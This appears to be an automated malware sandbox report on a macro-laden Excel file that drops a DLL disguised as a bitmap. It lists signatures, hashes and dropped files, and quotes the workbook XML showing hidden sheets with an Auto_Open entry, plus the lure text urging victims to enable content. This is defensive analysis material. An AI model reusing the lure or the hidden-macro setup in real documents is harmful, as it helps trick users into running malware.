Play interactive tour

Edit tour

Analysis Report f9309eba_by_Libranalysis

Overview

General Information

Sample Name:	f9309eba_by_Libranalysis (renamed file extension from none to xlsx)
Analysis ID:	412464
MD5:	f9309ebadd3f4d1e665dfe567dbf9a25
SHA1:	7cd5c8f8038217c20e09fd455fb5708185b151f9
SHA256:	7d2fd957a301aeea8014fd95a0902a6c45a568d34f4a1ce9d7a9fd38b53b542c
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Document exploit detected (drops PE files)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Found Excel 4.0 Macro with suspicious formulas

Office process drops PE file

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Yara detected MalDoc1

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Excel documents contains an embedded macro which executes code when the document is opened

Found dropped PE file which has not been started or loaded

PE file contains strange resources

Unable to load, office file is protected or invalid

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 1776 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
sharedStrings.xml	JoeSecurity_MalDoc_1	Yara detected MalDoc_1	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: k:\MSSniffer\Release\Sniffer.pdb source: B00DE8CB.bmp.0.dr

Software Vulnerabilities:

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: B00DE8CB.bmp.0.dr

Jump to dropped file

Networking:

Yara detected MalDoc1

Show sources

Source: Yara match

File source: sharedStrings.xml, type: SAMPLE

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5F799372.jpeg

Jump to behavior

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing button from the yell @ [f9309eba_byjlbrana\|ysjs.xlsx]No\|aertlAKm3 17 " Once you have
Source: Document image extraction number: 0	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enabl
Source: Document image extraction number: 0	Screenshot OCR: Enable Content button from the yellow bar above
Source: Document image extraction number: 1	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enabl
Source: Document image extraction number: 1	Screenshot OCR: Enable Content button from the yellow bar above

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: f9309eba_by_Libranalysis.xlsx

Initial sample: EXEC

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B00DE8CB.bmp

Jump to dropped file

Source: workbook.xml

Binary string: <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x15 xr xr6 xr10 xr2" xmlns:x15="http://schemas.microsoft.com/office/spreadsheetml/2010/11/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xmlns:xr10="http://schemas.microsoft.com/office/spreadsheetml/2016/revision10" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2"><fileVersion appName="xl" lastEdited="7" lowestEdited="7" rupBuild="22730"/><workbookPr defaultThemeVersion="166925"/><mc:AlternateContent xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"><mc:Choice Requires="x15"><x15ac:absPath url="E:\Nowiy\" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac"/></mc:Choice></mc:AlternateContent><xr:revisionPtr revIDLastSave="0" documentId="13_ncr:1_{121D364D-A553-4376-9A63-D54AB3450050}" xr6:coauthVersionLast="45" xr6:coauthVersionMax="45" xr10:uidLastSave="{00000000-0000-0000-0000-000000000000}"/><bookViews><workbookView xWindow="-120" yWindow="-120" windowWidth="29040" windowHeight="15990" xr2:uid="{00000000-000D-0000-FFFF-FFFF00000000}"/></bookViews><sheets><sheet name="Sheet" sheetId="1" r:id="rId1"/><sheet name="Sheet1" sheetId="3" state="hidden" r:id="rId2"/><sheet name="Nolaert" sheetId="2" state="hidden" r:id="rId3"/></sheets><definedNames><definedName name="_xlnm.Auto_Open">Nolaert!$AK$7</definedName></definedNames><calcPr calcId="191029"/><extLst><ext uri="{B58B0392-4F1F-4190-BB64-5DF3571DCE5F}" xmlns:xcalcf="http://schemas.microsoft.com/office/spreadsheetml/2018/calcfeatures"><xcalcf:calcFeatures><xcalcf:feature name="microsoft.com:RD"/><xcalcf:feature name="microsoft.com:FV"/></xcalcf:calcFeatures></ext></extLst></workbook>

Source: B00DE8CB.bmp.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B00DE8CB.bmp.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B00DE8CB.bmp.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B00DE8CB.bmp.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B00DE8CB.bmp.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B00DE8CB.bmp.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B00DE8CB.bmp.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B00DE8CB.bmp.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Window title found: microsoft excel okcannot run 'tar.exe'. the program or one of its components is damaged or missing.

Source: classification engine

Classification label: mal72.troj.expl.evad.winXLSX@1/10@0/0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$f9309eba_by_Libranalysis.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRE188.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: f9309eba_by_Libranalysis.xlsx	Initial sample: OLE zip file path = xl/drawings/drawing2.xml
Source: f9309eba_by_Libranalysis.xlsx	Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: f9309eba_by_Libranalysis.xlsx	Initial sample: OLE zip file path = xl/drawings/_rels/drawing2.xml.rels

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: k:\MSSniffer\Release\Sniffer.pdb source: B00DE8CB.bmp.0.dr

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B00DE8CB.bmp

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B00DE8CB.bmp

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: B00DE8CB.bmp.0.dr	Binary or memory string: ORIGINALFILENAMESNIFFER.EXEJ
Source: B00DE8CB.bmp.0.dr	Binary or memory string: INTERNALNAMESNIFFER.EXE

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B00DE8CB.bmp

Jump to dropped file

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting11	Path Interception	Path Interception	Masquerading11	OS Credential Dumping	Security Software Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	File and Directory Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Scripting11	Security Account Manager	System Information Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B00DE8CB.bmp	0%	ReversingLabs

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	412464
Start date:	12.05.2021
Start time:	18:01:52
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	f9309eba_by_Libranalysis (renamed file extension from none to xlsx)
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.troj.expl.evad.winXLSX@1/10@0/0
Cookbook Comments:	Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5F799372.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	[TIFF image data, big-endian, direntries=9, software=Adobe Photoshop 22.0 (Windows), datetime=2021:03:02 23:57:02], baseline, precision 8, 1600x1600, frames 3
Category:	dropped
Size (bytes):	185386
Entropy (8bit):	7.326521161282199
Encrypted:	false
SSDEEP:	3072:0LQj2wtPO88Ew5AIsPixqYtVYeFH4ZwHrcRd7Ay2rf4KGn5hk57do:0Lex0VAIu4bVYeVHrK5AySfahk8
MD5:	A6E3680B30CEC6746291E55B7D9B6975
SHA1:	E45C3A057F840EF4C96AB8233E1E21700BBDA199
SHA-256:	89934494B26BCA1A6B28C2D262392548FA12CEBDF648E5F2DCD793CBF71FB261
SHA-512:	FD0DE48198B51F437ADFFC5A0F12880334047D177E67D92199EFEF09F697FC0771D738B28E47EAB17FD52A772AE74CEAFABFD0F7253C526B86D5ADD4912F712B
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....NExif..MM.*.......1...........2..................................Q...........Q...........Q...........i.....................z....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B00DE8CB.bmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	647168
Entropy (8bit):	6.903949816811106
Encrypted:	false
SSDEEP:	12288:uRgaHm2fjIxEh+bLlmTlEPMx4rBjVXmePxfH3KYypHKlA:2gim2fMOh+mF4NUmKYy0lA
MD5:	C77E025AB5500D3A00B86265C73CC0B3
SHA1:	83B5715406E67F33E0030C2F17991A4D4BE2CBE5
SHA-256:	D1FD867DD79BB803974E18598BDC97CBB8F51ACFFEB8739CE2F01DFF29985803
SHA-512:	BCB03E9EA06A3957D3D9C032BC10B93443ED76E102FDB147B0414BA0D60F57FFD429D5B42B8878A70D1AC5A79AF9E6F8B635574E7731D3AB9BB8248CF43A8DC3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g]..#<.#<.#<.4..)<....%<.04..!<.&0..8<.&0...<.#<.b>.4..0<.&0..W<.&0.."<..7.."<.&0.."<.Rich#<.................PE..L......`...........!.........P.......................................................................................>..E...\!..........\|........................4......................................H.................... ..@....................text....x.......................... ..`.rdata..U...........................@..@.data....Z...@...0...@..............@....rsrc...\|............p..............@..@.reloc...............P..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\59EE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	609627
Entropy (8bit):	7.892549105768549
Encrypted:	false
SSDEEP:	12288:jpex0VbLbGeH+59Sja2NwZFGr9Q4ZYe/kysnOOBHVlsy3xZlHsGqXHKv:4KVbLte52a2GZFGaycOucCsGqav
MD5:	D9FC10EA36D4BD7EE29B775CEFB677D4
SHA1:	32733A2CEB144009B9013CB5D0154D202A530CEC
SHA-256:	047A14782F44F5AC826549CC1FB32651716A7C61E49C6A97EBA44A51F7FF5210
SHA-512:	F2CDD1B47DCA6048E08B44C8B5F838581293E25413F4935F7C1404634EE4E0C8B50751CD6D79736BA3B90B04FB2978DFA56726E2CFD5D25C9023AB6D24CE2A83
Malicious:	false
Reputation:	low
Preview:	.U.n.0....?..........C....I?....k..e....7..+.....W.3;+......'.....E5c...Ie..~.Y~e.Fa...B...zq.e......-...........y..Y.`D...r/..h._.fW.q6..eL9.b..V.Q..fC.........j.L.u~....!....J.OV.d.n.R.H.<..S.. $v.....E..=.HV.;..<...^f....@..3"...U...`.<....J...&..n..AI(.D...!..F.g..K....$.N.%l..U..2........e_..a.H..v...?....Jr.:......TC.=...)7......;...b.j.O6.O:....>.Vn?]...#:d..I..=.....D.......<...#.....2......BT..v.f....t..).... .p.\|.-........PK..........!.2..'....3.......[Content_Types].xml ...(............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Thu May 13 00:02:45 2021, atime=Thu May 13 00:02:45 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.48645134363762
Encrypted:	false
SSDEEP:	12:85QdVLgXg/XAlCPCHaX2B8GB/4lX+Wnicvbf+bDtZ3YilMMEpxRljKITdJP9TdJ2:85uv/XTm6GoYeWDv3qhrNru/
MD5:	46E3FA1B706BE93C1A206C7BDC3EDAB4
SHA1:	4DA0C6FFFCD87ADA72D386A5D201BBD9BB0E4E71
SHA-256:	1003FC597568E74F2E71E02DA51F7A63651BB22071B6558C1A18A807B9CAF08B
SHA-512:	91FFD9CFDA7A665192027D8742B6282773C35AAF3E8A2F0E400C207FC3727B52A79422A304B4CC12FB01DB87718F6D8E2AD0A5580C08390D997A27DE8663DBAC
Malicious:	false
Reputation:	low
Preview:	L..................F...........7G...$...G...$...G... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......RW...Desktop.d......QK.X.RW...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\651689\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......651689..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\f9309eba_by_Libranalysis.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu May 13 00:02:30 2021, mtime=Thu May 13 00:02:45 2021, atime=Thu May 13 00:02:45 2021, length=609397, window=hide
Category:	dropped
Size (bytes):	2178
Entropy (8bit):	4.55521119286082
Encrypted:	false
SSDEEP:	48:8hU/XTFG5uOENrIN0OEyhQh2hU/XTFG5uOENrIN0OEyhQ/:8hU/XJG5uFCN0FyhQh2hU/XJG5uFCN0B
MD5:	8214CA5707AEB03E8465010483F0DD75
SHA1:	F54A80AB40E792AFA125CD162332A56AEFAD2D86
SHA-256:	7A7943A9B6DEA376227196E29323B68F3655056020BD50599E9E9CC3B1C9DF66
SHA-512:	0948BC6D7FB55981C5C4498017E7EBFF730911F257DCBF86A1EF7472F478CF5D2BFA2C6190EF9A504414A7C5FA80F195B5854206573F7F91A34F62EE2D0A2E9E
Malicious:	false
Reputation:	low
Preview:	L..................F.... ...?@Z..G...$...G.......G..uL...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......RP...Desktop.d......QK.X.RP...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.PE...RS. .F9309E~1.XLS..h......RP..RP..........................f.9.3.0.9.e.b.a._.b.y._.L.i.b.r.a.n.a.l.y.s.i.s...x.l.s.x.......................-...8...[............?J......C:\Users\..#...................\\651689\Users.user\Desktop\f9309eba_by_Libranalysis.xlsx.4.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.f.9.3.0.9.e.b.a._.b.y._.L.i.b.r.a.n.a.l.y.s.i.s...x.l.s.x.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	127
Entropy (8bit):	4.64054093495956
Encrypted:	false
SSDEEP:	3:oyBVomxWInnHLoUwSLMp6lbnHLoUwSLMp6lmxWInnHLoUwSLMp6lv:dj7n7Nrn7NYn7Nf
MD5:	C2092C2708F633B3014F688B01F8FDF2
SHA1:	B716B7F1FD7E81FE6A04EB388DEDBBA6915BEAC2
SHA-256:	289C9CB8C053EE337E04F09158FD6029F357127A83180474F9E3147D6A0AD11A
SHA-512:	CCB1A0CEE5C0AB7A63E9EDDFE1F0779AE45CB400C86469FC1CB37624FDAEDEF53B984DDBD6B8171F941710D7BA15AC090CC9A0AA64B1A879FAAD7C243990D14A
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[misc]..f9309eba_by_Libranalysis.LNK=0..f9309eba_by_Libranalysis.LNK=0..[misc]..f9309eba_by_Libranalysis.LNK=0..

C:\Users\user\Desktop\7AEE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	609397
Entropy (8bit):	7.892473412644939
Encrypted:	false
SSDEEP:	12288:epex0VbLbGeH+59Sja2NwZFGr9Q4ZYe/kysnOOBHVlsy3xZlHsGqXHK7:hKVbLte52a2GZFGaycOucCsGqa7
MD5:	AAE50936F6891FF5E29E763BCA5F70B8
SHA1:	69D6BCF23FAAB068CF84B24F8784A207DACF46AD
SHA-256:	BC782FC4D49A2B97F78C0E82ECAF196931EA410A41D0C6DFECF1D4BF1DD54B14
SHA-512:	283EF66BA6A5864F49B335B36E91A6BC316CDB688FA2FFD56E0E9D4192C325F998B28FAF4D80ED3DD2CA98E7A0B27D88C49DD8FEB4845F78B8E9CC8855EE0697
Malicious:	false
Reputation:	low
Preview:	.UKO.0......\|E..Hh.j..v..H..0.41......{.NAlT.F..\..=f&..].lW<AD.]%N.(..^..T.....(.....*.....o..u.,...-Q.!%.-X....xg.U...A.K.<.N.e.....%.1.].B=vT.\.r....Q\..T%.M....#.. T....qh...._,L......"(.-.....x.D...@.!@3..m..>#t8..0......`k..s.?p.v...{.....=.....[Y.\u.......s....i-.2...'..0.\|;9..._&.....8.O>..l....I2.. .;..G..RnU.}C.....x....9Y.....!.............!........&.H...f...q..`x@.\...m.'.........PK..........!..Y......j.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$f9309eba_by_Libranalysis.xls Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Desktop\~$f9309eba_by_Libranalysis.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Reputation:	high, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Nioka.meposv Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	609397
Entropy (8bit):	7.892473412644939
Encrypted:	false
SSDEEP:	12288:epex0VbLbGeH+59Sja2NwZFGr9Q4ZYe/kysnOOBHVlsy3xZlHsGqXHK7:hKVbLte52a2GZFGaycOucCsGqa7
MD5:	AAE50936F6891FF5E29E763BCA5F70B8
SHA1:	69D6BCF23FAAB068CF84B24F8784A207DACF46AD
SHA-256:	BC782FC4D49A2B97F78C0E82ECAF196931EA410A41D0C6DFECF1D4BF1DD54B14
SHA-512:	283EF66BA6A5864F49B335B36E91A6BC316CDB688FA2FFD56E0E9D4192C325F998B28FAF4D80ED3DD2CA98E7A0B27D88C49DD8FEB4845F78B8E9CC8855EE0697
Malicious:	false
Reputation:	low
